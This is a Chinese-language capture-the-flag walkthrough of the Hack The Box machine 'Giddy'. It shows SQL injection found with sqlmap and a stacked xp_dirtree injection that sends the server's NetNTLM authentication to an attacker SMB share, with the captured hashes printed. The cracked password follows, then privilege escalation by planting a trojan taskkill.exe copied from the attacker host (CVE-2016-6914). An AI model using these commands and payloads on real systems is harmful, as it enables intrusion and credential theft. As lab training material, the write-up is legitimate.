Giddy_Medium
信息收集
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| namp: --min-rate 10000 10000速率来扫描 -p- 全端口 -p80,135 指定80,135端口扫描 -sU 指定udp扫描 -sT 指定tcp协议 -sV 扫描服务版本 -sC 默认脚本扫描 -O 对操作系统和版本探测 --script=vuln 进行基础漏洞扫描
nmap -p- --min-rate 10000 10.129.96.140 nmap -p- -sU --min-rate 10000 10.129.96.140 nmap -p80,443,3389,5985 -sV -sC -sT -O 10.129.96.140 nmap -p80,443,3389,5985 --script=vuln 10.129.96.140
|
扫描端口发现其开放 80,443,3389,5985端口 有用的一些信息为:
1 2 3 4 5 6 7 8
| 关于远程桌面协议(RDP)的NTLM认证信息
Target_Name: GIDDY:目标的名称是GIDDY。 NetBIOS_Domain_Name: GIDDY:在NetBIOS中,目标的域名是GIDDY。 NetBIOS_Computer_Name: GIDDY:在NetBIOS中,目标计算机的名称是GIDDY。 DNS_Domain_Name: Giddy:在DNS中,目标的域名是Giddy。 DNS_Computer_Name: Giddy:在DNS中,目标计算机的名称是Giddy。 Product_Version: 10.0.14393:目标系统的产品版本是 10.0.14393
|
访问80/443页面均为小狗图片,无功能点,使用dirsearch扫描路径
1
| python3 dirsearch.py -r -u https://10.129.96.140/
|
获取到的有效目录为
1 2
| https://10.129.96.140/mvc/ https://10.129.96.140/Remote/en-US/logon.aspx?ReturnUrl=%2fremote%2flogin
|
一个购物页面
一个web端的powershell登录页面
漏洞探测
在 https://10.129.96.140/mvc/ 页面发现多处SQL注入漏洞
如:https://10.129.96.140/mvc/Product.aspx?ProductSubCategoryId=24 经典的单引号报错
放进sqlmap
1 2 3 4 5
| sqlmap -u https://10.129.96.140/mvc/Product.aspx?ProductSubCategoryId=24 --batch --is-dba --dbs
--batch 告诉sqlmap以批处理模式运行,即自动化执行所有的测试和攻击步骤,而无需用户交互。这对于批量测试多个目标非常有用。 --is-dba 用于检测当前用户是否具有数据库管理员(DBA)权限。如果当前用户是DBA,sqlmap将使用更强大的技术和攻击方法来探测和利用漏洞。 --dbs 用于获取目标数据库服务器上的所有可用数据库列表。sqlmap将尝试枚举并列出目标服务器上的数据库名称。
|
得到的信息为:
- 目标网站存在注入为:布尔型盲注,内联查询注入,报错型注入,时间型盲注,UNION 查询注入,堆叠注入。不具有数据库管理员(DBA)权限
- 目标网站使用的后端数据库管理系统(DBMS)是Microsoft SQL Server 2016
- 目标网站的操作系统可能是Windows 2022、Windows 10、Windows 2016、Windows 2019或Windows 11
- 目标网站使用的Web应用技术是ASP.NET,Web服务器是Microsoft IIS 10.0,ASP.NET的版本是4.0.30319
- 发现5个可用的数据库,它们分别是:Injection,master,model,msdb,tempdb
漏洞利用
将数据库dump出来查看,无可用信息。
通过mssql 堆叠注入,利用函数 xp_dirtree + UNC 可以触发 NTLM 认证,带出服务器的 NET-NTLM hash
这里参考了三篇文章:mssql堆叠注入利用总结,[域渗透] SQLSERVER 结合中继与委派,How to Use xp_dirtree to List All Files in a Folder – Everyday SQL
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| 提到的几个概念:
xp_dirtree是SQL Server中的一个存储过程,它可以返回一个目录及其子目录中所有文件的列表。它可以用来访问本地或远程系统上的文件。
UNC是Universal Naming Convention的简称,它是一种用于指定网络资源的方式,如\\server\share\path\file。
NTLM是Microsoft Windows平台上的一种身份验证协议。
NET-NTLM hash是NTLM协议中使用的一种密码哈希。
关于如何使用xp_dirtree和UNC来触发NTLM认证,从而获取服务器的NET-NTLM hash。这是一种攻击技术,通常称为"NTLM Relay Attack"。这种攻击的基本步骤如下:
攻击者在自己的机器上设置一个监听器,等待NTLM认证请求。
攻击者通过SQL注入或其他手段,使目标服务器执行xp_dirtree,并使用UNC路径指向攻击者的机器。
当目标服务器尝试访问该UNC路径时,它会发送一个NTLM认证请求到攻击者的机器。
攻击者的机器接收到这个请求,并获取到NET-NTLM hash。
|
使用 impacket-smbserver,通过xp_dirtree函数连接到该服务获取到相应的哈希
1 2 3 4
| mkdir smb # 创建 smb 目录 cd smb # 进入 smb目录 impacket-smbserver share `pwd` # 在当前目录启动 SMB server,共享名称为 share,反引号 pwd 来获取当前目录的路径,并将该路径作为共享目录。在命令执行后,其他计算机可以通过SMB协议访问共享名称为 "share" 的目录 ;exec xp_dirtree '\\10.10.14.15\share';--
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Config file parsed [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 [*] Config file parsed [*] Config file parsed [*] Config file parsed [*] Incoming connection (10.129.96.140,49714) [*] AUTHENTICATE_MESSAGE (GIDDY\Stacy,GIDDY) [*] User GIDDY\Stacy authenticated successfully [*] Stacy::GIDDY:aaaaaaaaaaaaaaaa:334223febb33d8eeef0ee93deddbd9a9:0101000000000000007f1f005206da0140031a75096245b600000000010010006200710047004d00530076004f004700030010006200710047004d00530076004f004700020010006f00470076004f004b0063007a005400040010006f00470076004f004b0063007a00540007000800007f1f005206da0106000400020000000800300030000000000000000000000000300000fe20d99ed518821e757fa75f815931c59c97175ac0244f99b0e3d6f0708293f20a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e0031003500000000000000000000000000 [*] AUTHENTICATE_MESSAGE (GIDDY\Stacy,GIDDY) [*] User GIDDY\Stacy authenticated successfully [*] Stacy::GIDDY:aaaaaaaaaaaaaaaa:3ccb4ab60836158fa44c35c421fb2dea:010100000000000000ac50015206da014aaa6878a74ae00c00000000010010006200710047004d00530076004f004700030010006200710047004d00530076004f004700020010006f00470076004f004b0063007a005400040010006f00470076004f004b0063007a0054000700080000ac50015206da0106000400020000000800300030000000000000000000000000300000fe20d99ed518821e757fa75f815931c59c97175ac0244f99b0e3d6f0708293f20a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e0031003500000000000000000000000000 [*] Disconnecting Share(1:SHARE) [*] Closing down connection (10.129.96.140,49714) [*] Remaining connections []
|
使用john破解hash
1
| john --wordlist=/usr/share/wordlists/rockyou.txt hash
|
用户名:GIDDY\Stacy 密码:xNnWo6272k7x
在Desktop目录找到第一个flag:5499a3fdc3d0a109edec1897db85ad44
权限提升
当前用户权限过低,大部分命令无法执行
谷歌一下unifivideo,发现是一个视频监控服务,UniFi Video是Ubiquiti Networks开发的一个视频监控软件,旨在提供易于使用的视频监控解决方案。它可以通过Ubiquiti的UniFi NVR硬件或在用户自己的服务器上运行。
UniFi Video支持多种视频监控设备和摄像头,并提供了许多功能,如实时监控、录像回放、活动检测、警报通知等。此外,它还提供了一个基于Web的用户界面,可让用户轻松管理和配置其视频监控系统。
1 2 3 4 5
| searchsploit unifi video #searchsploit是一个用于搜索和利用已知漏洞的命令行工具,而"unifi video"是指Ubiquiti Networks的一个视频监控软件。通过在命令行中运行searchsploit unifi video,您可以搜索与Unifi Video相关的已知漏洞。
searchsploit -m 43390.txt #这个命令使用searchsploit工具并结合-m选项,用于将特定漏洞的详细信息显示在终端上。43390.txt是一个漏洞编号或漏洞描述文件的示例。
cat 43390.txt #cat命令用于查看文件的内容,而43390.txt是一个文件名的示例。
|
Ubiquiti UniFi Video中存在本地提权漏洞。本地攻击者可利用该漏洞以提升的权限执行任意代码。漏洞编号为CVE-2016-6914,在UniFi Video运行时会在目录 C:\ProgramData\unifi-video 下运行一个 taskkill.exe ,并提权,利用方式即为在目录下上传一个名为 taskkill.exe 的木马,再重启UniFi Video。
cs生成一个exe木马,利用impacket-smbserver上传到靶机,再关闭开启Ubiquiti UniFi Video服务
1 2 3
| copy \\10.10.14.15\Share\taskkill.exe taskkill.exe Stop-Service "Ubiquiti UniFi Video" start-service unifivideoservice
|
找到第二个flag:4d9456312a4bbb1fab9a3e9f48956532